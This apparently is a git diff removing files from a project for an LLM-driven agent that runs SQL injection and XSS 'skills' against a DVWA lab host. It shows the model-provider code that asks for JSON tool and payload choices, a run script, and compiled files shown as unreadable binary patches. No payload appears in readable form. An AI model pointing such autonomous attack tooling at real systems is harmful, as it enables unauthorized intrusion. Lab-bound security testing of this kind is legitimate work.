z#_w{O%yh(L9bwksshUy@M?wW!0^ATGV128rNOPnM(V@W$7R^!9sjFST{`=Q4-9I|@ z^Pge*ucHR9U(G0n8#zi`9e+_t=wX{-Gij(H%qW@$+*C8%z_v09m4V(Vh7BleJY)E( zOta2@^=o0C_P`YA0Tg)1QDouk_OY*a?Hc>qgNtx5gl%RM!LY^}p#u{+Ih z6cNrCVVk1rY{qbw76~>e%?)M*A%Hnin3tMN z8;)sNLpnvDhJM4IDqcvBq9LBaA?-yDKY$OM4jnPTVsQ+^KAut&mo$SJ*YHRO9$8K% zp|t2*Qx!?sKqQ0kp7yU`<2mxNhd8&a23l4Et@HMR-RBJCgIjMMxp^cP+?5UP$_2Z# z!S2=2_FQOpHnjVr=FU4ivUPp==Jq@M@*yd^Ps-L^DA>5h+JZou#e8V%N3A=TnwP~x zg&?WhUm&hJ@BHyXhy)vM?YX&U;ia3ATx~d88_v~sXKTB2wS9Lk%n#F;tkm_~V1C)X|AuZhZvFnw@9tb`{obzk8}{C1 z-}CnuZ1Bz>AKHn3YxSC%oguJwF4&$8wp-SIWap-irOVm6-h5Nr(uL&%=d*jyXX~B= zJ2#Z=oNwza1W4WP0&!X|;Rnll=^q zdpIojx=wQ3Pgw?~qxVc7`RUW1Q*QFMi-GdnZr6~Hdpp!|`Uv}WfB1BV>z(!xl;7!N zq4u34o*}pGzJq}__XX74cQL4O^QiH0s0sRqI>`Nw0pFQk?%f{j^xcCDmV2@K-9FE- z!2O$p0cizpw_UUq)(58pwoQo ziILcbe$7Y>mr%L|IQ*G`7_Jcwy!IQW7>JQ!Vg_Pl7y~i1yO}l(y)fvlN)lTlUJ{2J zk%mAu#(3c#EXIPg_h1mkZANEfwu;fp!P=wlV|FVTgHX)X#Y=9<)5k&J{ zu<>@GDoMVJ*Q1S9N_Z@XA+DGU{SlK4U&g1*!4++`+EmKN!w@S3d5qxst;;)uiCn9R zz=d1{F4vH{DC@$g^d;%SiL=kIJ6xkN=|uE-8i65BS|ns26pQ@Du*3DwOa_j5xJFUr z8N;EP1VMXn1sk#EiEcP_AdkQU45364=wYa)eb~l_+LvbGc2Bd;f9symbnN&zT%E;d zX$o%4V1Q)C;Nh+b_>5I+krqFdlNRkXFKlKtgPT%xdJ0E4jp7*;LnzLm7zPn`S5uE9 zRw4f|I2e!OS7b1hMp69?3JHXU_X=gUQM|w^@r{k2;s(Akf$#n&h&l41(7fsm<-DC) zZ)eWCC+pp_B&~S6@0`ne2j{tbaNEMkg~N-7myR#>E_V+v2cDg`=RI|=oV|W_p?$T! zIaeRf)`#<z&Cp2b-#`lG$ zyw~^2a`FR?!j&5o}PpsWn3mo#WS)#Z8+0$eHw5Qf++_C#p5d6 z%F8feivDgwEbYgViLjgnLN1K z5bwp6lr@{$va&p_3e>Cu%*SH2jYH9|!^j4gO3hfa<^b+3@HBDr34z*n(^3^*R@VmT zyaxShcR-+v<&$0_+@+t*0be$Jh07FVpV26SFSI!#7Fg;^@%?wqMy*`QCtQA zHy{=nC^~KNH#C#!o5zG{CivQTU?G<)ey1=zzyRW?#NP(#JoJVC8v67cS#<|9I?>L9fJl>J zJ|t~f()J6|{5w0#^n5JvOxte>h=-o%7$$UM>> str: ... - def complete_json(self, system: str, user: str) -> Dict[str, Any]: - """Return parsed JSON (tool choice / payload proposals).""" - raise NotImplementedError - -class OpenAIProvider(BaseProvider): - def name(self): - return "openai" - - def complete_json(self, system: str, user: str) -> Dict[str, Any]: - """ - Tenta primeiro via Chat Completions com response_format JSON. - Se a versão do SDK/modelo não suportar, cai para texto puro + parse. - Por fim, tenta a Responses API sem response_format. - """ - import json, re - client = _openai_client() - - # 1) Chat Completions com JSON (preferido) - try: - chat = client.chat.completions.create( - model=settings.openai_model, - messages=[ - {"role": "system", "content": system}, - {"role": "user", "content": user + "\nReturn STRICT JSON only."}, - ], - temperature=0.2, - top_p=0.9, - # algumas versões do SDK suportam isso; se não, cai no except - response_format={"type": "json_object"}, - ) - txt = chat.choices[0].message.content or "{}" - return json.loads(txt) - except Exception: - pass - - # 2) Chat Completions sem response_format (parse heurístico) - try: - chat = client.chat.completions.create( - model=settings.openai_model, - messages=[ - {"role": "system", "content": system}, - {"role": "user", "content": user + "\nReturn STRICT JSON only."}, - ], - temperature=0.2, - top_p=0.9, - ) - txt = chat.choices[0].message.content or "{}" - try: - return json.loads(txt) - except Exception: - m = re.search(r"\{.*\}", txt, re.S) - return json.loads(m.group(0)) if m else {} - except Exception: - pass - - # 3) Responses API (fallback), SEM response_format - try: - resp = client.responses.create( - model=settings.openai_model, - input=[ - {"role":"system","content":system}, - {"role":"user","content":user + "\nReturn STRICT JSON only."}, - ], - temperature=0.2, - top_p=0.9, - max_output_tokens=600, - ) - # diferentes versões expõem campos distintos: - try: - txt = resp.output_text - except Exception: - # tente extrair do conteúdo estruturado - try: - blocks = resp.output - # concatena textos - txt = "".join([b.text if hasattr(b, "text") else "" for b in (blocks or [])]) or "{}" - except Exception: - txt = "{}" - try: - return json.loads(txt) - except Exception: - m = re.search(r"\{.*\}", txt, re.S) - return json.loads(m.group(0)) if m else {} - except Exception: - # último fallback: dict vazio (engine usa seeds) - return {} - -class OllamaProvider(BaseProvider): - def name(self): return "ollama" - def complete_json(self, system: str, user: str) -> Dict[str, Any]: - import requests, json - url = settings.llama_base_url.rstrip("/") + "/api/generate" - prompt = f"[SYSTEM]{system}\n[USER]{user}\nReturn STRICT JSON only." - r = requests.post(url, json={ - "model": settings.llama_model, - "prompt": prompt, - "stream": False, - "options": {"temperature":0.2} - }, timeout=120) - r.raise_for_status() - txt = r.json().get("response","{}") - try: - return json.loads(txt) - except Exception: - # tentativa robusta: extrair bloco {...} - import re - m = re.search(r"\{.*\}", txt, re.S) - return json.loads(m.group(0)) if m else {} - -class LlamaCppProvider(BaseProvider): - def name(self): return "llamacpp" - def complete_json(self, system: str, user: str) -> Dict[str, Any]: - # requer: pip install llama-cpp-python - from llama_cpp import Llama - import json, re, os - llm = Llama(model_path=settings.llamacpp_model_path, n_threads=settings.llamacpp_n_threads, verbose=False) - prompt = f"[SYSTEM]{system}\n[USER]{user}\nReturn STRICT JSON only." - out = llm(prompt=prompt, max_tokens=600, temperature=0.2) - txt = out["choices"][0]["text"] - try: - return json.loads(txt) - except Exception: - m = re.search(r"\{.*\}", txt, re.S) - return json.loads(m.group(0)) if m else {} - -def get_provider() -> BaseProvider: - prov = settings.model_provider - if prov == "openai": - return OpenAIProvider() - if prov == "ollama": - return OllamaProvider() - if prov == "llamacpp": - return LlamaCppProvider() - return OpenAIProvider() diff --git a/src/openai_client.py b/src/openai_client.py deleted file mode 100644 index 14539bb..0000000 --- a/src/openai_client.py +++ /dev/null @@ -1,46 +0,0 @@ -from typing import Any, Dict -from openai import OpenAI -from .config import settings - -client = OpenAI(api_key=settings.openai_api_key) - -def plan_next_action(context: Dict[str, Any]) -> Dict[str, Any]: - """Ask GPT-5 for the next action using structured JSON output (no chain-of-thought).""" - system = ( - "You are a safe web security agent. " - "Only operate on the allowlisted lab host and return STRICT JSON with the next action." - ) - user = ( - "Given this context, propose one next action as a JSON object with keys: " - "{'tool': 'navigate|fill_form|click|type_and_submit|wait|noop', " - "'target': 'url or selector', 'data': 'payload or null', 'rationale': 'short'}." - "\nContext:\n" + str(context) - ) - resp = client.responses.create( - model=settings.openai_model, - input=[ - {"role":"system","content":system}, - {"role":"user","content":user}, - ], - temperature=0.2, - top_p=0.9, - max_output_tokens=400, - response_format={ "type": "json_object" }, - ) - # For SDKs returning parsed JSON via output_parsed - try: - txt = resp.output_parsed - except Exception: - txt = None - if not txt: - try: - txt = resp.output_text - except Exception: - txt = "{}" - if isinstance(txt, dict): - return txt - import json - try: - return json.loads(txt) - except Exception: - return {"tool":"noop","target":"","data":None,"rationale":"fallback"} diff --git a/src/run.py b/src/run.py deleted file mode 100644 index 557e3d2..0000000 --- a/src/run.py +++ /dev/null @@ -1,15 +0,0 @@ -import argparse, json, os -from .config import settings -from .agent.orchestrator import run_skill - -def main(): - ap = argparse.ArgumentParser() - ap.add_argument('--target', required=False, default=settings.dvwa_url_env or "http://localhost:8080") - ap.add_argument('--skill', required=True, choices=['login','xss_reflected_low','sqli_low', 'xss_stored_low', 'xss_dom_low', 'sqli_low_smart', 'xss_reflected_low_smart']) - args = ap.parse_args() - - result = run_skill(args.target, args.skill) - print(json.dumps(result, indent=2, ensure_ascii=False)) - -if __name__ == '__main__': - main() diff --git a/src/skills/__init__.py b/src/skills/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/src/skills/__pycache__/__init__.cpython-313.pyc b/src/skills/__pycache__/__init__.cpython-313.pyc deleted file mode 100644 index 6c9599f75cfc6018a218fe0b34bc3bcee0af4a8c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 160 zcmey&%ge<81WdsTGeGoX5CH>>P{wB#AY&>+I)f&o-%5reCLr%KNa~ioenx(7s(yB2 zPNu#~YH@Z+eu2JYdTL&Yqo-~FkV-8s(N6^N^^1#=^^3DJb8?FH&t23}Sp_W@Kb6Vg|AR?ky&P diff --git a/src/skills/__pycache__/login.cpython-313.pyc b/src/skills/__pycache__/login.cpython-313.pyc deleted file mode 100644 index 3a371679615140b9727be34367534bb2d3b231f9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1222 zcmZ`(OK99i7#>NZU1^iW1_#&Oy0P*gwxHdGVz-pW1uwa@3C?4xxR98lm1ft9Woeli z`9%*s+O&{d3OTyB^wwj}IVI$fT`;j3$SJw>=Hik-PW@+hg>Bl7H1j|9`=9e`56k5e zf~Aw+mg+h}ua%H5d%zr4f%z2?M6|2uTa9TBA{H_3>IB2qVVif2X^Rvp=pMeOG2AM; z_MhMlxtc82S-Qq4lUCd3d@W_6v>HCAKV&SHRtCQ${tA@^Mn%Swz!=0-qySsVheA{F z@4(q#9-0~OI!X-BxOLoWfFW9raS$NP-1dkP-P2}NmazU8V|e-rOtFtYeiD2lQr@*= zkeLCWU}AdsE0AWjsevw>P|-=@U;2@rzUbjwr;fQAu(?O&D=|HjSe}`C^r0qVU&kIM zC2|TQa=L189e8+-YPpEcp-)h56GA_mx`QSl7YDUUv&IB!YHoS+?6tHNB~F?+S8gxN zIa48R`dKWTfYFe<)y+~ZR)A`Isl7QGCGAYyQTI7}KEK)XizoH@6oCFrA1^lAfah6b zB@&=5_W}_bWGoUJvbaFwAXO6rfznJ!yadwbhe4VMKT3E%FTW`$b9$-FM}I>xt|9ew zS>m?eqSB(PQAm@3x&@|2MdDT}Qi+>U97{8ZqX3YCt_x|#=^AAKQ}e>q05Yr$w1&iu zG~8gPLE=j9^p?C_Q|Z)}{Wz*!p?q1S?b=+6CSvZJPj3LBT+|?iMASG7YJ3?Y^1Njm z(qLJ_J^*hjEB+9UpU@k7_`%q&U3uv5TlW3Jc46zsU2A;6cZMb(jqO^W{fAiGE_Q}5 z?OK!jL&Nu1w^x5&-@^Ol@g3YPU)(EukL*9b>rQ;%ouVyio}^lk{1KH9S@@V@7&@L%d9b=P>}mg-*==UrWzez+1P zy$-piEQ>Uad9~61-usOKBfE3*s>C?wXpFW*_+tag;!Q>w%Vi`#Q diff --git a/src/skills/__pycache__/sqli_low.cpython-313.pyc b/src/skills/__pycache__/sqli_low.cpython-313.pyc deleted file mode 100644 index db6d9a1a11132418c536011f1c088bf75e3e45e2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3090 zcmcImO>7&-6`m!R`$Lft71ESM+tKRBqUl(o9ZPbgSaRe#ww1(6tTj)HORUJ1w9#^x zomom2+k=5#Bou{>6fS(ofw{RiA9XC+i;rZ*Lc+i;3gqOQ0ws-`Q{ODPq+`ekTC_u~ z=9~B4yuW$#Mu*{W5W$$b^402&h|t$;;SE^3<8T6|he$;#_YwM#!<>RtpX&d}_n{yA z0m~}?8LtN56Fv)!396VtpYxw{SXhx#!RJ2MoZ_f>1=|}$$IqEcSo5E1&MK9bG@@rq z*rZ}n+ca%0PX(+yC2Zx`K5xhX{O}!q!6Wo@=^{zKm~y$-OdE&XZ9P zNPv!4$ATB@OAHpH%1`>-J0S7UU2=QZTP&)h z;tsZD{)4zX)KDw#qjJ@Ggf|^(`2Qd0YodJPzlyT+Cr-CB!~G8;iXM@xNZa4VV;+Ao z?jeu6(Cbm!^LP_3B-%6&sa*kpmOtZPIN{OSv-;);)Sks>_=UbU)kA6&elfS!dG(kp z8F)>_^m}{S^Wva~GXc+g&=+ssol_pSJ$rE!q%=~yZ*i8enDn?AX^c~Qpod5qA&NXn zPp>6rM71}=WyI6X4I11*HSr0j9=|O?kBact{czV5LS~}L2 z4AXE7outVxOe0;6yc~i7-WX3HHJG(KDv})5b&K3i`B>Y=V4qM)ziSXDYp<0*!%XK{uh&JKXcR=wIei-25L<%1?cx=O|a8 z{Hjwh3Dc%1_vq#Hs$J02YZ?T7RVQnXT};oeKt!{1BcH;g6DJKmTTYtbT$-#IrrAhQ zBfw26UjnXvw}@wG9G9%oOQxOEOfoatqK|+n!tVKt=ja})MyLLgoUHUeiv4~Lz`qEj z75%y^#+8HWt&a`m^vCu_s+@3h;b=>yt`s!9remTMu};8|a-#WCDtRNXShl0&ONFB1 z%BBSBv)8Dw4ySHo%pNuNo@&IlXhdH(^17ANv-;hfj*AWrHqUX@c2Y6SGD7(k+p*b+ zt?0CCLo=N0vW>HiGO{t{mmz){$eBiNjYeC1R()CGXpT<94cV++bPO;me*m@`Fwzol zmOp0gib~lmDAluBDnfj=xvpb&AF0qNEE*`R_yrerJtrx7W) zL}mA^vao}8G^2ADo$XMe2B93^WY;q5CN0}cFbyo*B`c3vYbETxSDNE}eB8AT$BQQc zF^dGjRd{g^J(D93dg^lGk@gQszAtPGTfeGHC-xh7Pf}`Xo>Y#F4m>DkM_E+CiPYLx^(JW0Uhi8vgdd6d$BXM*qPnf*}d3U zEjIS#RxNgMOWu$7?Zt;{@!`k4wfH+*9s5#rPwK5ny_KOSu_{9o`-xMJ->4-fwmMrr zF@Y~h+ciqfxYVNoqc7flBwh?9nTUcAKAN!(Qm?HB>4R;4h4_b#PU|DS@h7j7hdf1bXo!0Kr-cw;>9^t_+pF^=JJ z7rz^v6U6xxSMEBWR6bcylIN4t@F^oBN=l?*$F@x}y43hjxp5<*!8)s^vE<$se2x_& zpEq)jTZyN9u-Xsmk@_N;>29QU1oxS_wHo^SYbT=2o*0fMRG Pcc-2FKiLXTgY3TnoeQ0( diff --git a/src/skills/__pycache__/sqli_low_smart.cpython-313.pyc b/src/skills/__pycache__/sqli_low_smart.cpython-313.pyc deleted file mode 100644 index 26de711997976e94dc242d8a33351f0be6ef5a5a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4067 zcmcInUu+Y}8Q=B4T|0K{;KU&zfz6)_m;?I)2_k`nfRfN8fFK)7mBL|d?1{5vy=!LH z39RBfeHy@<$CKIz)Ji8FZN*i5D^M%lz3`S(P&x6`Z`NKXp+U3{ z9m_M{eBU?U%zWQBznR_f`8*7iU;Xfhg+BxJJ?&V9s}ehRf%uXU8Ihf0CRxl1l(tRT zChgb`v|V&eIVPRhY0}Oq*CdBIlXgw@z%J`Qy33FF59|j2b5H$MmTH@AvZOJaHCLJw{j(v9 z-)D<)eXJOO^TgkEqoAz0A#rQs( z7^>J)owM!Mn4iyBekL}+1Nd2ef$3&CnAw1($uSb-guonQZv1|p8L}T^=GhMB6mz1g zkc4wH57~VTbOa_<)d)A=$a$iQmXg&-W+9Uc$!aF6&#F=y4RvPW@KdVub9rsh1Pe}= z(@4wehEqzWWp%%LMj~Wc!^zIi4c?-2jTM9XN(Ky)>|9#bK^{nI>4c{0NYxchN}^=W z7bPf>#j?I)uA`YC1tqM7SRz6>T{ejxJ>t3PN+TBI`0DQ2;18dPz@ho6?%MV672jEs$uqEh_PHJ!N?RV+G5NF(3Su^M0=H{5{KyABXRAK zaI>{zx(i%0tjM1RJA+?UVw}L@^+;yL@RMvJ0gH;Kk&fjA zG1_oeja*c;grtz+$a~UGn44UK>Zb?HOMlzi%$C2i=lAGbd z!swlHpk-}lGtg1!8Ghcq*)v|aIsejs=uzLVSJuw2Cw?=$=?@pqOq7FdJ7AB=@p2Lz z2d5zCtE7)Gm(_I*9AI!&Ph)zfAsn}^$=9@HgU#&AEgpnsZv6n!9k%VyEfMl4QiBzh zo#76Ia(j%eXU^92;KJel>x;}`ftESyfU9g5>Sp*(W*6kL5YbHEZ0*vT^-_n>Vp*I% z;4-kRP1m5PGKSWo(+TzTp zi`oU?n9Eu@*z=h7>|$Mvi8*2vPQ4E1Al(nlR0DEr9$2R@!gVv@`WuF;k}HrTHaUsA zKqc4w0f55P9hf@C;79@^I7%}#xiS)lQ$h^hJiT#kF?Wa}+TLTLra;jF*sx%@=d+3u z&%nvb1!y7)CmckP%##WIaBwVOW-wj1wJReg;>?a!ldQ z;N$UmSwZo*!C^!+WeMRP%6C;ZXgJf0Ng3lP<=Kgj@n=AV-ME7?Z1;$XGx#L*FvUsy z3FSKoT@^cr+n`5iQVW&x-~m2D6*&6%)Kp|N?!%2Lml`79Lq+kTp>@4u<9_kT`OSub z{FSoT_i%i5ywG%NV|rt>5bP~^&s2F^-kzejr*M3rmE{(|qK2=bxxsp;N`ssm)MiD|D_HI``~eF*L9h8YzZGo(~j5*Ya1(-r&RQ ztJl}NpEc&M7rp1o!PY{1Z!y@LAFWN-Ui7wqeRf^{C)q+r@6hV$7XV{Nj(BNKLoq@_| zs70=Fw?a-hAWn+mOek_<5uc?>zKSfaWpo*G#61S7VUoCy8lo>7JU}Z7a+rSBU>XaE z9z_jI0mE>c4}E&&(sw`#J`wc$hG+LX0S{5ti?pIg>ivk0jEqzwYKK7LtDr&WBKH7H z-$C%)fk%f+?$$NwpS=5_Yt@ziMTu`KSLiKXDDpy~W8iszfszwde!+iyqq)TQ?&-Fc z_&(a@R=Gl;r^FwxndmI?orSLc5`S*n#km`*v3Yc<G*T;*HSOj@HciF6aSNTl}BNh(i~y7_D_7eOjK zSWzVjY5o}=lT8pxl1f(6BsJ`^svC}^oY2iY`V(UwjY@X$7t>lYtDs>#4XTh_454QQ s9Kf=#n8UA_&R0y=E9SF*FhfB6=(xz9eblwhK(j{7W~1+4v}c<9H*Khg0RR91 diff --git a/src/skills/__pycache__/xss_dom_low.cpython-313.pyc b/src/skills/__pycache__/xss_dom_low.cpython-313.pyc deleted file mode 100644 index 889ac17b94ee7ea86f1167097045f21526c40e4e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4658 zcmd5=T}&HS7QQq78ILj81`-_On879xr@;;huz>(s2(%%zre(0yUD{fMJ-{sXj5{+X ziM#6d5h_&yb*oUdQdp@E^evA(t&-#zEf8J^VE+7UF%jo&T&z7Cx+RWs*%mn^^ON`IbetFerjp%PWLzWv#DKEcKeL+sxX$=vQW$o~J|hud%`qp_^ak z)CK72teoP-gp}mJCd)I_h%DV!csXRsF#}3M7BcD(m*Qphd>|>M?o9?tun7>WidfuODhcnWP-mZ z?@|c8QS$+ssm{hwPlYCtNW_RKEO(@_gdxKqkT5_!AT#+n+o z_K=^)t#co^IcB{EO9zSb6$P9H zXBz7(^F?a9hCK@`WXvZaOJh`Z1iAT=iqK4}vHwiKpbRUf&KaEj-au=reV=DgtRL?u z+G4gTV;f@%dbXt#qEn<}^we_)*cFmx;MZEZPiQt!lC+-?J)O_4o{1Q|ST(CbUl8kq zzAa`xiUtR0u;+l=j%}_(Y{wPTB*C8FM~DN2V&+M6%nC0PuNfV;#|ai*GOXF}*-)5L zz#4@FZSdQV^)^%k=jQ+aJc$ec)01$qZTmUKK8KNKFUCw|d}DSaXgG+IlgeXFyy#*bVxwxNM1VVFgwk;sX zp!tfHP-iq}kEEn|K@4XWGP%=&n8~U$BA4a|16imcFco-RSnn^@9F!`gc`2*v7A~0< z#KYnlPEl@4ax(C`ZZqgyV_BhkHv}*<4VcrEbMnV!*UQ|;Om*kVV+K9p@va+Dw zE!oke@F_lF7-CF;A7ocCPuLsUVT!m*U0-GJdH)ucHvDlhUG2rFli+=J`Vv z3BDKc8|z6F9zz6_X2dkXk{vLLp(%JCZ7^%9%;L32nsMh~Y(wVgwCn-_8NVoMtNmXl`@gxc|d1)yz^z~ctwqX{h}Iy zA}pdT3aOM5fkG}0IK}~taOSQ~OJY1JaB!CTX*nx~2U1dkODRL)Dj(m5N)R63zk`Zi z|MJ*s+sZ_-g?VuI!@DpDX%1h}QG4&^%FXv~JpnPKTgwV_9g(GM3JO1NR!9k|z*jbp zTu<_ITsEZ+j*0UrL0QPzgK16><7r;Z3N8Rkrz#RT&q*qThY;O4s#1jJtmVS83?EKD zoq|%8=S5{2kfSo33@|9VjlUx(YFt{(IS=6=&V!UW1EsM}&t+4ocm{CG)s9ZS#JtL~ z%=s6k+o7DRyhn(c6J$Qw&jiW`Leq)OPmd0uzl<^(l9C&}@0u7GLgIS35hl1K@OMZKXq zkFAX>DyQ;#ZCN%hWmEx7r*Mp5rz{C@Rn_USJ2*t~6p5!RIjY-l3`a-DM~A1!SQ*!a zx~rowQK zWy^P@iEi4nA=-}JzelgotLN9p3%2$>YlWA0UM<-Ast#dHHhd4WB}fK~ji>I9uZ_Py zu}nX;qI%z|cX{}++q*u#@#gx_j{Cy$NM-;0sm{&W&FOr@<$~i%)uy242yToP9HFlo z8t?b5^}T;>d9>KvwrSRyFYY!EKlE%(YhA<36Gdm^>h!(09xSde{>{gH;`u1L>$|M^ zF7NodcYOnzZ(!>c&3Ap3F8Vum{b9`?et1Un_pjCzUCq0$R?XGA*|yb~$J9_U(3!t9 ztObTwoftIhnzbzPiL!Zpr{mhTS`vE^+;46v`a9vqERIJ%Q~%POZ|!<`Zj06~kL0^< zYS2>@!Zo1%k{J-&}${itr&6V^Q89nYm*&sEKHb<3@Jt}Txjy}@1Y1vQ(gx&z2G&~Dw~+A~4_&u?dm3NKjn2i~2;+~5yS$MKTSY3~n867uZ5;elwk=@0gi z%TYJ^$AKFj7=7j$xeDE%yd-{}9qx(-$UoQh!QheG9&NEaYBpioPhh&GL&SQPdybb0!oC{ZL%3gW`>xcNl>Hl2Jm)b0 diff --git a/src/skills/__pycache__/xss_reflected_low.cpython-313.pyc b/src/skills/__pycache__/xss_reflected_low.cpython-313.pyc deleted file mode 100644 index 01a746919a04f847fe763e6ce0d06c3b7440fbbb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3660 zcmcInK};Lz75>K_+cUGuA(2 z2yUhB5mc=bX|)oE9Ef^h4^?yI7&VvGo;-?ISfg#UQcrth#cp@Cr@r5wu>lcPU8z6v z{O^D7{cqm){`cNL9Q*xV1Y>CC#hL)rzsSNK9*a1>0mP?>M?CdDnxinqA>P3|-*?P8 zu@h*PrytY23x4j$u2DDdiJ%YZ4=L=6?z~9^%270dm)v<>fndAR4E1n$8%3CC~g<@BHWNVjH`< z2&(gNdmB3c1MVi?SI2!`tODnF)5QD#|2W@)^1{zT8L&^65Ax0Y#bHOzm-LNNd<$eR zqd4CYuagmuyaB9<#{B&IZq> z_%M_jQs^YT*k$t?Gv77@2ozV+wb;|(+7#aoe;w7zaq*F=ru!Z7?6vna=H-5yPP%RH z!QLgS5(jK)W43W99=IKK(}qB(Ydi09Cm9Cki%air}|J2S`J#Ekp~G-xg6?7_o?~ktLV0~8?913=o+&9 z$WREaLT~E^Ee>TZjd*;%=uOCKR#JxZYx!bWQt}0TSrKyL?PvkoH=&{*NW0^;rmjml zQ7!1EOUUFT<+OTU(6mhzXQCgNj7=9qHG}$A9t>)Qm7Ju5JeW~)X;slhMJIQFm?`=b znwTzNN#Cma(WZ&An6@3UMc~Lb6r|~t)y-mCVxu4{A{JI8S<)p@OFYrE6iyT`p2Se| zf7V2Chv`t)O;1kLG$AXdAsqEVS}7^?<9T>YQgHQAOBC-QnU_S1@H{&}>a?Wiv|&3v zNtomG{1PU|gqz_JcT^|SEu_<8UI(A3j2RGQ5$h=(OWCZ5#f(Po815tUL1InKiHUVV zmJ)YGZCzLMiRmnaZ2IBQBbY=@PXH1{PiQ!u(AFhcwqhWzlHiG%6vSybzh$zjlFCQ| z9J3k51!Z_bR?~v4O%B)j9K2HNgU62_p-SK2_QLL6!`D-ZU-^5-XC1J5X!v3kpa1ED zod+M!9fKY+-8GBSOGrFSTsA#g8jGT$EdegL-Z8kQnT+^E()5(NUTm$N&uQP3Ea=jC z@@c@X7Gyb<2Si2B1Xz;tdeL1C&0x_Rll5B`??Qu)W%XOt;1+{5#W=SrK?KLSXf4iE zwAhY?P0q46$w>-_MJ=x?nphx}VSR*fqLvo&Vul;cV|C;8iw#lcl-GYF((T9(r5W=ma8 z$|k_<`z4wIV93dU>3)Z(-HH}F}GnrHh42!9h>48A0@`i}XWnsE& z=V`if>lq1Sk}9TC)3NEX>NxJlZeZ4sQY)BTO(t8-PslxNHdzR(i$DV|oH!gly{6}6 zvkA^Bm5292=9mHNOl(H2ilXElCkkVhV!DsDd zHnJ;x&9G11JMQg2m6^^;jXq>JgW*a&H(!mF2>H&+zq?`X@i9ON9JQozEFQc>Van zy|QnHFz@f&FNLm@eOK!mF(|*%z|FF6{K$(~FF{ZW43?RA{rxovV+VyQgnLJB6diau zVnl9i2flYW*|sCb+V_;*VV@1|J}fgaP_k|H?)|RJ44n_H+hDr)=rYs)og1}wJa7MG z{xEdK2wiy-x^@^EHA15=e`|z(xy@F>-G||r5svM57~zrarV7(?$aEM?$6nvdP>E1C zDv|!u;FJ-W+78q`CmPSSy{R|d*AMin+Ffug*!*;BXX`J2+@`_o-l!2CI1EqhKRBR` zYZG8P65H=HBEyG~xzfnYtBf%+2NwOEyGw>Ydgy;|Z++YG^__*%qou<;$EmhHv8SFK!tZuf3g38tpTc%VS3@VgpA()Y4iBU#+xtRl=Qbhko^9;2`sA z?A6_a^{*nAchxtM;cxw(p!WxrLf%UT8~O1&4h1`o5ydu}zTlA)=AVA(0oj*q_&-om$Z_m15^@Yzn7jbT9yJQY~eCosZ8S?>{oY0p`mAfW#y%c`aS0IhQ* AqW}N^ diff --git a/src/skills/__pycache__/xss_reflected_low_smart.cpython-313.pyc b/src/skills/__pycache__/xss_reflected_low_smart.cpython-313.pyc deleted file mode 100644 index 9ab6339d2cdacccaeee97fc9d6ac89e9d3b7bb79..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4150 zcmcInO;8)j74FgBjKm0pB?~NUBYpyCjZt&np^g)(Mg%fwy;h(}030yB=r7|aBbU=gh2 zmN6@~mT23!ZOo4CV-D;n@%C|cjKdtzHG<=|Q($kq1nzcCuS0MK&|TYI2J>^S5dVTM z5Mqe!15uxUVKEr?3Ragi35P7iJ0~d;7Ii5W7nOvZ07@gZI$l1&!*K6Mf)I<0jNTl% zIyEvJ6Gldc1;WjUniR|6Byr4S5_6JH99YsbSc%hh%tBqX!hi2Ws6TOh!ahRNj46zw zzA|k=DRzpDP|Y`rz?eEg1RAzC#K1<(Fdh)m@CmklOKFVrfS^o*+}>BV^Q}4#fjy*C zQ)M3RKU(LmGRnC>>Lm55n%}N{o&Un`8iB9)T`g91RjjEI-2Z<+g<7Fb@bp+xj;N!T z5$YjLImPl8&%9NvJQB4Wva(vty#G_od}gi)M+Lvo&|^`o(??AUgvO|K+HZ1Ermq}T z#U>n^ZZ!LQEm235?X?I2>epSHVxMj@WgktMc54ki*0QupcJ!6iY2-q-$tg^C z6*oW?vXmO)5aV$vt%FTW0>YD&u&z;%2;L`?;dwPBg%`x693Gam1zk;tF9Uk&mv5Z@ z02)ct!(hLnhcz4zYYTERsfF)pS`16GGzwB81`fxxl!*17^fGa(N-QCZuxrGRGfK~e zq#75K+F(zm|2QnHwL$gWeN+sbTp3wwUmY(t2Y*LWkbTRj~vVlBP)oFw#0qNR0x1=R>dh|OM_3O4&Xmxx^Yuo zB24?1iB zsfPCU1GrFqm^MdzZwP=D z>galr3fk>!2%ggrA;liGM~?0Hnv_rvza#XvjoJloNz(y2P;G}RsA!HwX!?XnM=KGB z`Fy4MtisVKirNnQ9!0loQ3jCIZ>u``Eo+}N*V%6Y?b&t|YMjI^(1}}VMK>DP(&`9Q z@=pLtvg`#dj^(tTb(Bz{tArid+7c6-m9dl<2(}s^!n9_6SX>I0M+^qjSkeF(vb>@O zrF(#ox~wXgUL%BsStUu)rr^Y}X%T~(MmXu7tm!dzA=`B5R2~EnWsaWFG`#AFb2gJq z#^^!K9;=+vARO6X7o62lP?)$JnUenoUWC|^*~GC3fTUu&;xdJ9`fw99RU!4#qMVSF zI6Mad*hN{4?D3==Um%`} z+`M$y@|A(X9z?iU4AiAqjIat16LrzQ&0qb%8tJ~@9%!< z@7eL6&HK+j`C;DQzvCau`-iss^ZuJF*NVLN!NlssM*9=r%0!+&Tl5BUCkFD~0kFmJ zbca8Y=TH3l%!dA}{w-UMau;`D{$s^JU$No{NSF5=v^xETT&s>Kvs@L5{XKv{5p(5T&uF#x}X*zt2 z5Vw(6F*QvO4RMa#qZc$KEpUb$bTCJ&AzIPzfDni2K4bdPg(!z{5~!bP^*qhK7vPutG-Q3FxMaXiJa<|GbZ$IX!EQ1!rJg{DyNraI893eq7*= z7Y%xc3+B0Cu7#!pC2y4bb9J4Y4F&Gq18ktc^-`8yWpkd60@qoYqBYO8=GyuS+}T|R z>#Q$t#@eL<-&WZeBkKnL0J{R@M5RBN=VAGQt&swMg?9dX?seq(j$CJdfgjj)p~e%N zNAjNT75m>UR%gR5hnz0z(gWwJbFFLrMuF>q{Wkh?bzKE6R58-)c5Jv-W!3k_^tFN}Vin--rQomp}1+5*nnpJ}fUG`qBVc@B9_uFpNKd+*hc802co 